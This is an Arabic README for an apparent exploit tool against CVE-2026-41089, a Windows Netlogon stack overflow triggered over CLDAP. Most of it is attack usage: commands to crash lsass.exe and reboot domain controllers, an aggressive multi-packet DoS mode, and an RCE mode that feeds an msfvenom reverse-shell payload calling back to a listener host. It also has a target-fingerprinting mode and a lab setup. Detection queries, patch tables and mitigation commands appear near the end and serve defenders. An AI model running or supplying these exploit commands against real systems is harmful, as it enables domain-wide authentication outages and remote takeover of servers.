
CVE-2026-41089 هو ثغرة خطيرة لتنفيذ الكود عن بُعد في خدمة Windows Netlogon، حيث يمكن لحزمة واحدة أن تتسبب في تعطل lsass.exe، مما يؤدي إلى إعادة تشغيل وحدة تحكم المجال خلال حوالي 30-60 ثانية. خلال هذه الفترة، ستفشل جميع عمليات مصادقة المجال في وحدة تحكم المجال هذه.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (حرج)
CWE: CWE-121 (تجاوز سعة المخزن المؤقت على المكدس)
ناقل الهجوم: UDP/389 (CLDAP SearchRequest)
التأثير: تنفيذ التعليمات البرمجية عن بُعد (RCE) / حجب الخدمة (DoS)
الإصدارات المتأثرة: Windows Server 2012 R2 ~ 2025 (وحدات التحكم بالمجال)
التصحيح: التحديث التراكمي لشهر مايو 2026
تعاني الدالة NetpLogonPutUnicodeString في netlogon.dll من ثغرة تجاوز سعة المخزن المؤقت على المكدس عند معالجة طلبات بحث CLDAP. تستقبل هذه الدالة ميزانية طول بالبايت، لكنها تفسّرها على أنها عدد WCHAR، مما يؤدي إلى كتابة ضعف الكمية المتوقعة.
يحدث التجاوز في المخزن المؤقت الثابت على المكدس بحجم 528 بايت (264 ushort) الخاص بالدالة NlGetLocalPingResponse. يملأ حقل User القابل للتحكم من المهاجم بالإضافة إلى اسم نطاق DNS الخاص بالخادم نفسه هذا المخزن المؤقت، مما يؤدي في النهاية إلى الكتابة فوق GS Security Cookie، مسببًا __report_gsfailure وانهيار lsass.exe.
NtVer=0x02 في CLDAP SearchRequest (يفرض استخدام المسار القديم والضعيف BuildSamLogonResponse)User ≥ ~130 حرفًا (الحد الأقصى الثنائي حوالي 260 بايت UTF-16)ملاحظة:
NtVer=0x16(القيمة المستخدمة في العديد من نصوص الكشف العامة) يفعّل المسار الآمنBuildSamLogonResponseEx، ولا يفعّل الثغرة.
| الوضع | الوصف |
|---|---|
--mode dos | إرسال حزمة CLDAP مُصممة بعناية، مما يؤدي إلى انهيار LSASS وإعادة تشغيل DC (انقطاع المصادقة لمدة ~60 ثانية) |
--mode rce | محاولة تنفيذ التعليمات البرمجية عن بُعد (مستوى بحثي، يتطلب shellcode) |
--mode scan | فحص استجابات قيم NtVer المختلفة، وتحديد بصمة DC الهدف |
--mode auto | الكشف التلقائي واختيار أفضل استراتيجية هجوم |
حزمة واحدة كافية لانهيار lsass.exe، مما يؤدي إلى إعادة تشغيل وحدة التحكم بالمجال خلال حوالي 30-60 ثانية. خلال هذه الفترة ستفشل جميع عمليات مصادقة المجال على هذا DC.
# الاستخدام الأساسي — إرسال 3 حزم
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# هجوم سريع بحزمة واحدة
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# الوضع العدواني — 5 حزم متزامنة
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ مستوى بحثي — غير موثوق وغير مستقر في البيئات الفعلية.
يواجه RCE التحديات التالية:
# توليد shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# إرسال سلسلة RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# تحديد بصمة DC الهدف
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
مثال على المخرجات المتوقعة (هدف مُصحّح):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
مثال على المخرجات المتوقعة (هدف غير مُصحّح):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
إذا انتهت مهلة NtVer=0x02 بينما استجابت الإصدارات الأخرى بشكل طبيعي، فمن المحتمل جدًا أن الهدف معرّض للثغرة.
| المعامل | الوصف | القيمة الافتراضية |
|---|---|---|
-l, --user-len | طول حقل اسم المستخدم (عدد أحرف ASCII) | 180 |
--ntver | قيمة NtVer (ست عشري، مثل 0x02) | 0x02 |
--count | عدد حزم DoS المرسلة | 3 |
--delay | التأخير بين الحزم (بالثواني) | 0.5 |
-t, --timeout | مهلة المقبس (بالثواني) | 5.0 |
--json | إخراج النتائج بصيغة JSON | — |
--raw | طباعة الحزمة الخام بصيغة ست عشرية قبل الإرسال | — |
--quiet | كتم إخراج الشعار | — |
--shellcode-file | ملف shellcode مخصص (x64 خام) | — |
--lhost | عنوان الاستماع للـ Shell العكسي | — |
--lport | منفذ الاستماع للـ Shell العكسي | 4444 |
# إنشاء DC باسم نطاق طويل على Windows Server (غير مُصحّح):
# 1. الترقية إلى وحدة تحكم بالمجال (نطاق DNS باسم طويل جدًا، مثل "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. التأكد من عدم تثبيت تحديثات ما قبل مايو 2026
# 3. التشغيل من جهاز المهاجم:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. مراقبة انهيار DC وإعادة تشغيله
User > 100 بايت و NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| إصدار Windows Server | رقم الإصدار المُصحّح | ملاحظات |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# نص كشف آمن — لن يؤدي إلى انهيار الهدف
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# إخراج JSON (مناسب للفحص الجماعي)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# عرض خطوات التحقق من التصحيح
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
مبدأ الكشف: إرسال طلبات CLDAP قصيرة بقيمة NtVer=0x02 (تفعّل مسار الثغرة) و NtVer=0x16 (المسار الآمن). إذا انتهت مهلة 0x02 بينما استجاب 0x16 بشكل طبيعي، فمن المحتمل جدًا أن الهدف معرّض للثغرة.
تثبيت التصحيح فورًا: التحديث التراكمي لشهر مايو 2026 (KB5058405 أو أحدث)
# التحقق من التحديثات المثبتة
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# تثبيت أحدث التحديثات
Install-WindowsUpdate -AcceptAll -AutoReboot
التحقق من إصدار netlogon.dll:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# قارن مع جدول أرقام إصدارات التصحيح أعلاه
التخفيف المؤقت (عند تعذّر التصحيح الفوري):
التحقيق اللاحق:
# التحقق من سجلات انهيار lsass
Get-WinEvent -FilterHashtable @{LogName='Application';Id=1000} |
Where-Object {$_.Message -match 'lsass.exe' -and $_.Message -match '0xc0000409'} |
Select-Object TimeCreated, Message -First 5